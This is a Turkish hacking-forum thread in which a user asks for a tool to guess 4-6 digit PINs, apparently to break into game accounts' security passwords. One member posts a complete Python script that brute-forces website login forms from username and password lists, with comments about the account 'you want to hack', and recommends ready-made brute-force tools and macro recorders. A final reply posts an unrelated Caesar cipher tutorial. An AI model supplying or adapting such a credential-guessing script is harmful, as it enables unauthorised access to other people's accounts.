Yazılım | Programlama 4 rakamlı 5 rakamlı ve 6 rakamlı otomatik şifre deneyen program

cengizhan696

Yeni üye
2 Şub 2015
32
1
Gaziantep
İyi Akşamlar.

4 rakamlı 5 rakamlı ve 6 rakamlı otomatik şifre deneyebilen program lazım yani rakamları yazdıktan sonra silip tekrar deneyebilen bunları 2 saniyede bir yapabilmesi lazım veya 1 bu konu hakkında bilgisi olan var mı python ile yapılabileceklerini söylüyorlar pek bilgim yok şahsen herhangi bir yerde kullanılabilecek bişey denendigi zaman ban atılmayacagı yerlerde denenecektir. Şimdiden Teşekkürler Yardımlarınızı Bekliyorum.
 

Kill4Dead

Uzman üye
25 Ağu 2011
1,549
0
Python' da bunu bilginiz olmadan yazmanız biraz zor. Buraya bütün kodları yazmamız lazım. Ancak hazır Brute-Force araçlarını kullanabilirsiniz. Hem daha profesyonel bir deneyim olacaktır.
 

cengizhan696

Yeni üye
2 Şub 2015
32
1
Gaziantep
Silip Tekrar denemesi

Python' da bunu bilginiz olmadan yazmanız biraz zor. Buraya bütün kodları yazmamız lazım. Ancak hazır Brute-Force araçlarını kullanabilirsiniz. Hem daha profesyonel bir deneyim olacaktır.

Aslında Birkaç Konuda kodlar buldum yani ögrenme konusunda tecrübem baya iyidir ama sıkıntı şu ki yazılan rakamlar silinmesi gerekiyor denendigi zaman orda kalıyor mesela 123456 rakamını yazıyor program ama onu silip tekrar denemesi gerekiyor o biraz kafamı karıştırdı
 

Kill4Dead

Uzman üye
25 Ağu 2011
1,549
0
Aslında Birkaç Konuda kodlar buldum yani ögrenme konusunda tecrübem baya iyidir ama sıkıntı şu ki yazılan rakamlar silinmesi gerekiyor denendigi zaman orda kalıyor mesela 123456 rakamını yazıyor program ama onu silip tekrar denemesi gerekiyor o biraz kafamı karıştırdı

Sonsuz bir döngüye sokarak ve giriş yaptığında break komutu ile döngüden çıkarak yapabilirsiniz.
 

Kill4Dead

Uzman üye
25 Ağu 2011
1,549
0
Kodları Araştırıyorum Bu Arada Bu şifreler bir web sitesinde kullanılmayacak mesela bir oyunda winrarda kullanılacak mouse yi nereye tıklarsam orda calışsa yeter yani

Şu an aklıma gelen en kestirme yöntem bir macro programı kodlamanız veya hazır macro programını kullanarak yazmış olduğunuz Python kodları ile entegre etmeniz. Bu şekilde macro düzenli olarak pencere kapandığında pencereyi açar ve Python' da yazmış olduğunuz kodlar sayesinde random metin girer. Biraz amatör bir iş ancak iş görecektir. Eğer bu yöntem aklınıza yatarsa Python Random Modülü diye Google' da araştırma yapabilirsiniz. Eğer derseniz ki ben kendimi geliştirmek için yazıyorum bu uygulamayı o zaman daha farklı yöntemler bulabiliriz.

2. Çözüm

Mantık şu şekilde olabilir; 2 adet text dosyasına verileri girersiniz. (Client uzantısı ve şifrelerin bulunduğu txt dosyası) uygulama bunu otomatik olarak dener. Web sitesi üzerinden denerseniz daha net bir çıktı elde edebilirsiniz.
 
Son düzenleme:

cengizhan696

Yeni üye
2 Şub 2015
32
1
Gaziantep
Şu an aklıma gelen en kestirme yöntem bir macro programı kodlamanız veya hazır macro programını kullanarak yazmış olduğunuz Python kodları ile entegre etmeniz. Bu şekilde macro düzenli olarak pencere kapandığında pencereyi açar ve Python' da yazmış olduğunuz kodlar sayesinde random metin girer. Biraz amatör bir iş ancak iş görecektir. Eğer bu yöntem aklınıza yatarsa Python Random Modülü diye Google' da araştırma yapabilirsiniz. Eğer derseniz ki ben kendimi geliştirmek için yazıyorum bu uygulamayı o zaman daha farklı yöntemler bulabiliriz.

2. Çözüm

Mantık şu şekilde olabilir; 2 adet text dosyasına verileri girersiniz. (Client uzantısı ve şifrelerin bulunduğu txt dosyası) uygulama bunu otomatik olarak dener. Web sitesi üzerinden denerseniz daha net bir çıktı elde edebilirsiniz.

2. yöntem daha iyi geldi diyerlerine göre biraz daha basit :sırıtan normalde daha kolay olması gerekiyordu cünkü elinde olan bir wördlisti sadece rakamlardan oluşan yani onları denenmesiydi silip silip tekrar yazması gibi fazla kod gerektirecegini de düşünmüyorum acil oldugu için biraz acele ediyorum zaten onu elde edersem hazırlarsam diyer arkadaşlarında yararlanması için paylaşabilirim yada hazırda varsa şuan arıyorum bulamazsam sizin dediginiz gibi yapmaya çalışacagım. Gercekten verdiginiz bilgiler için teşekkürler. daha fazla bilginiz varsa konuyu ziyaret eden arkadaşlar içinde iyi olur :)
 

Kill4Dead

Uzman üye
25 Ağu 2011
1,549
0
Size şu kodları bırakayım işinize yaracaktır.

Kod:
import requests


# The link of the website
url = input("\nEnter URL:")
# The userfield in the form of the login
userField = input("\nEnter the User Field:")
# The passwordfield in the form
passwordField = input("\nEnter the Password field:")
# list of potential incorrect message in the page if it doesn't succeed
incorrectMessage = ['error', 'required error']
# list of potential success message in the page if it succeed
successMessage = ['success', 'SUCCESS']

# Getting list of potentials password
passwords = open('passwords.txt').readlines()
# Getting list of user to test with
users = open('users.txt').readlines()


print ("Connecting to: "+url+"......\n")
# Put the target email you want to hack
#user_email = raw_input("\nEnter EMAIL / USERNAME of the account you want to hack:")
failed_aftertry = 0
for user in users:
    for password in passwords:
        dados = {userField: user.replace('\n', ''),
                 passwordField: password.replace('\n', '')}
        print (dados)
        # Doing the post form
        data = requests.post(url, data=dados)
        #print data.text
        if "404 - Not Found" in data.text:
            if failed_aftertry > 5:
                print ("Connexion failed : Trying again ....")
                break
            else:
                failed_aftertry = failed_aftertry+1
                print ("Connexion failed : 404 Not Found (Verify your url)")
        else:
            # if you want to see the text result decomment this
            #print data.text
            if incorrectMessage[0] in data.text or incorrectMessage[1] in data.text:
                print ("Failed to connect with:\n user: "+user+" and password: "+password)
            else:
                # if successMessage[0] in data.text or successMessage[1] in data.text:
                print ("\n#######################################")
                print ("\nYOUPIII!! \nTheese Credentials succeed:\n> user: "+user+" and password: "+password)
                print ("#######################################")
                break
                # else:
                #     print ("Trying theese parameters: user: "+user+" and password: "+password)

Just_to_pause_the_script = input("\n.")

Anlamadığınız biryer olursa sorun yardımcı olurum.
 

cengizhan696

Yeni üye
2 Şub 2015
32
1
Gaziantep
Size şu kodları bırakayım işinize yaracaktır.

Kod:
import requests


# The link of the website
url = input("\nEnter URL:")
# The userfield in the form of the login
userField = input("\nEnter the User Field:")
# The passwordfield in the form
passwordField = input("\nEnter the Password field:")
# list of potential incorrect message in the page if it doesn't succeed
incorrectMessage = ['error', 'required error']
# list of potential success message in the page if it succeed
successMessage = ['success', 'SUCCESS']

# Getting list of potentials password
passwords = open('passwords.txt').readlines()
# Getting list of user to test with
users = open('users.txt').readlines()


print ("Connecting to: "+url+"......\n")
# Put the target email you want to hack
#user_email = raw_input("\nEnter EMAIL / USERNAME of the account you want to hack:")
failed_aftertry = 0
for user in users:
    for password in passwords:
        dados = {userField: user.replace('\n', ''),
                 passwordField: password.replace('\n', '')}
        print (dados)
        # Doing the post form
        data = requests.post(url, data=dados)
        #print data.text
        if "404 - Not Found" in data.text:
            if failed_aftertry > 5:
                print ("Connexion failed : Trying again ....")
                break
            else:
                failed_aftertry = failed_aftertry+1
                print ("Connexion failed : 404 Not Found (Verify your url)")
        else:
            # if you want to see the text result decomment this
            #print data.text
            if incorrectMessage[0] in data.text or incorrectMessage[1] in data.text:
                print ("Failed to connect with:\n user: "+user+" and password: "+password)
            else:
                # if successMessage[0] in data.text or successMessage[1] in data.text:
                print ("\n#######################################")
                print ("\nYOUPIII!! \nTheese Credentials succeed:\n> user: "+user+" and password: "+password)
                print ("#######################################")
                break
                # else:
                #     print ("Trying theese parameters: user: "+user+" and password: "+password)

Just_to_pause_the_script = input("\n.")

Anlamadığınız biryer olursa sorun yardımcı olurum.

güzel emek vermişsin peki ama sanırsam websitesi için bu gercekten kafanı şişirdim sanırsam kusura bakma wördlist deneyen program varmıdır acaba
 

Kill4Dead

Uzman üye
25 Ağu 2011
1,549
0
MACRO RECORDER programını indirin aynı zamanda kendi yazdığınız kodları çalıştırın. Zamanlamayı iyi ayarlarsanız olumlu sonuç alırsınız. Ancak hazır brute force programlarını kullanmanızı öneririm. Veya yukarıda verdiğim kodları yazarsanız ufak dokunuşlarla kuvvetli bir brute force yapılabilir.
 
Son düzenleme:

cengizhan696

Yeni üye
2 Şub 2015
32
1
Gaziantep
MACRO RECORDER programını indirin aynı zamanda kendi yazdığınız kodları çalıştırın. Zamanlamayı iyi ayarlarsanız olumlu sonuç alırsınız. Ancak hazır brute force programlarını kullanmanızı öneririm. Veya yukarıda verdiğim kodları yazarsanız ufak dokunuşlarla kuvvetli bir brute force yapılabilir.

İnanırmısın 8 saatir arıyorum öyle program bulamadım mesela metin2 de deneyebilirim oyun içi güvenlik şifresi denenmesi için 4 haneli 5 haneli veya 6 haneli şifre denemesi gerekiyor genelde hep websitesi için var ama uygulamalar için programlar oyunlar için felan hic bulamadım basit bişey de olsa yeter ama bulamadım bir türlü
 

cengizhan696

Yeni üye
2 Şub 2015
32
1
Gaziantep
Yabancı Oyunlarda Denincekler onuda paylaşayım bu arada Client uygulamasında .bin uygulamasında bilgisayar içinde calışması gerekiyor nerde arasam hep web sitesi cıkıyor bilgisayar içinde cıkmıyor. Herkes Brute Force Diyor ama sürekli web sitesi cıkıyor oyun içi kullanımlar içinde varmış ama pek bulamadım yardımcı olabiliecek arkadaşlar varmıdır.
 
Son düzenleme:

ѕeleɴια

Kıdemli Üye
18 May 2018
2,619
4
905
ZYZZ
İlk olarak maksimum anahtar uzunluğunu alfabe uzunluğu kadar olduğunu belirtelim.

MAX_KEY_SIZE = 26
Daha sonra kullanıcıdan mesajı şifrelemek mi yoksa şifreli mesajı çözmek mi istediğini öğrenmek için bir fonksiyon oluşturalım.

def getMode():
while True:
print('Do you wish to encrypt or decrypt a message?')
mode = input().lower()
if mode in 'encrypt e decrypt d'.split():
return mode
else:
print('Enter either "encrypt" or "e" or "decrypt" or "d".')
Yukarıdaki fonksiyonda şifreleme(eccrypt) mi yoksa çözme (decrypt) işlemi yapmak istediğinizi soruyor, ardından sizin girdiğiniz değeri lower() fonksiyonu ile küçük harfe çevirip mode değişkenine atıyor. if dögüsü ile mode içine atanılan input değerinde ‘encrypt e decrypt d’ içerip içermediğini kontrol ediyor. Eğer içeriyorsa bunu return yapıyor değilse tekrar soruyor.

def getMessage():
print('Enter your message:')
return input()
Yukarıdaki fonksiyonu “şifrelenecek” ya da “çözülecek” mesajı almak için kullanacağız. Daha sonra bu değeri return ediyoruz.

def getKey():
key = 0
while True:
print('Enter the key number (1-%s)' % (MAX_KEY_SIZE))
key = int(input())
if (key >= 1 and key <= MAX_KEY_SIZE):
return key
Yukarıda ise şifreleme için gerekli olan anahtar değerini kullanıcıdan alıyoruz. Anahtar değerini maksimum alfabe uzunluğunda olması gerektiğini belirtiyoruz. Ardından da bu değeri return ediyoruz.

def getTranslatedMessage(mode, message, key):
if mode[0] == 'd':
key = -key
translated = ''
for symbol in message:
if symbol.isalpha():
num = ord(symbol)
num += key
if symbol.isupper():
if num > ord('Z'): #90
num -= 26
elif num < ord('A'): #65
num += 26
elif symbol.islower():
if num > ord('z'): #122
num -= 26
elif num < ord('a'): #97
num += 26
translated += chr(num)
else:
translated += symbol
return translated
Yukarıda fonksiyonun ana kısmını yazdık. İlk olarak kullanıcının yapmak istediği işlemi mode değerine atamıştık. Eğer kullanıcı bir mesajı şifrelemek istiyorsa ikinci ve üçüncü satırları atlayıp işleme girecektir. Eğer şifre çözmek istiyorsa üçüncü satırda anahtar değerini negatif yaparak geriye doğru gitmeyi sağlayacaktır. translated,ilk içi boş olarak atanan,bizim sonuç değişkenimizdir. Ardından for döngüsü ile kullanıcının mesajının her harfini symbol isimli değişkene atayıp o karakterin harf olup olmadığını kontrol etmek için isalpha() fonksiyonunu kullanacağız. Ardından kullanıcıdan alının anahtar değerini, o harfin ASCII tablosundaki değerine ekliyoruz/azaltıyoruz. Daha sonra alfabenin sınırlarını belirlemek için hem küçük hem de büyük harfler için sınırları çiziyoruz. Bundan sonra elimizdeki sayı değerini karaktere çevirip translated değişkenine atıyoruz. Eğer en başta kontrol ettiğimiz harf olup olmama durumunda, eğer harf harici bir karakter varsa bunu değiştirmeden direk sonuç değişkenine atıyor. Ardından da sonuç(translated) değişkenini return ediyoruz.

mode = getMode()
message = getMessage()
key = getKey()
İlk başta yazdığımız 3 fonksiyondan gelen değerleri ayrı ayrı değişkenlere atıyoruz.

print('Your translated text is:')
print(getTranslatedMessage(mode, message, key))
Son olarak print fonksiyonu içinde ana fonksiyonumuza, diğer fonksiyonlardan gelen değerleri parametre olarak gönderip sonucumuzu alıyoruz.

İŞİNİZE YARADIYSA TEŞEKKÜR BUTONUNU KULLANALIM.
NOT:BUNLAR PYTHON KODLARIDIR PYTHON KODLARI OLMADAN ŞİFRA KIRICI BULMAK VEYA YAPMAK ZORDUR.
 
Son düzenleme:
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.